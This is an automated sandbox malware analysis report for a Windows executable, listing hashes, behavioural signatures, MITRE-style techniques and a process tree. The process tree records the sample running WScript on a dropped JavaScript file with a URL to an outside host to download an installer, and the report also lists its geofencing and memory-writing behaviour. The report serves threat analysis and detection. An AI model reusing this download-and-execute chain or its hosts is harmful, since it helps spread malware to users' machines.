Analysis
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max time kernel
139s -
max time network
102s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
21-05-2024 15:45
Static task
static1
Behavioral task
behavioral1
Sample
63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe
Resource
win10v2004-20240508-en
General
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Target
63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe
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Size
184KB
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MD5
63d5af1b22e6e5a6e1a7ae96c60e3243
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SHA1
4461bfe2c262f175c622e6e8124899ee16d00eae
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SHA256
529d16447d3b5c90f70da4785bc9b046ebe2dcd4310f3cc04a893980de1b5472
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SHA512
5c74bd2941d2eb56240e764ec865d1ea3ea667e69f0c1e96b018e1c27738a010dc7d745704ee6415c5923dbc7ebcf9009ecb6039e6959f8df8cea55444ce8aa8
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3B:/7BSH8zUB+nGESaaRvoB7FJNndn4
Malware Config
Signatures
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Blocklisted process makes network request 6 IoCs
Processes:
WScript.exeWScript.exeWScript.exeWScript.exeWScript.exeflow pid process 9 3284 WScript.exe 34 4568 WScript.exe 41 2452 WScript.exe 53 4544 WScript.exe 55 4924 WScript.exe 56 4924 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation 63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
Processes:
63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings 63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exedescription pid process target process PID 1492 wrote to memory of 3284 1492 63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe WScript.exe PID 1492 wrote to memory of 3284 1492 63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe WScript.exe PID 1492 wrote to memory of 3284 1492 63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe WScript.exe PID 1492 wrote to memory of 4568 1492 63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe WScript.exe PID 1492 wrote to memory of 4568 1492 63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe WScript.exe PID 1492 wrote to memory of 4568 1492 63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe WScript.exe PID 1492 wrote to memory of 2452 1492 63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe WScript.exe PID 1492 wrote to memory of 2452 1492 63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe WScript.exe PID 1492 wrote to memory of 2452 1492 63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe WScript.exe PID 1492 wrote to memory of 4544 1492 63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe WScript.exe PID 1492 wrote to memory of 4544 1492 63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe WScript.exe PID 1492 wrote to memory of 4544 1492 63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe WScript.exe PID 1492 wrote to memory of 4924 1492 63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe WScript.exe PID 1492 wrote to memory of 4924 1492 63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe WScript.exe PID 1492 wrote to memory of 4924 1492 63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe WScript.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\63d5af1b22e6e5a6e1a7ae96c60e3243_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6486.js" http://www.djapp.info/?domain=czClGJqHby.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0 C:\Users\Admin\AppData\Local\Temp\fuf6486.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6486.js" http://www.djapp.info/?domain=czClGJqHby.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0 C:\Users\Admin\AppData\Local\Temp\fuf6486.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6486.js" http://www.djapp.info/?domain=czClGJqHby.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0 C:\Users\Admin\AppData\Local\Temp\fuf6486.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6486.js" http://www.djapp.info/?domain=czClGJqHby.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0 C:\Users\Admin\AppData\Local\Temp\fuf6486.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf6486.js" http://www.djapp.info/?domain=czClGJqHby.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0 C:\Users\Admin\AppData\Local\Temp\fuf6486.exe2⤵
- Blocklisted process makes network request
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\fuf6486.jsFilesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76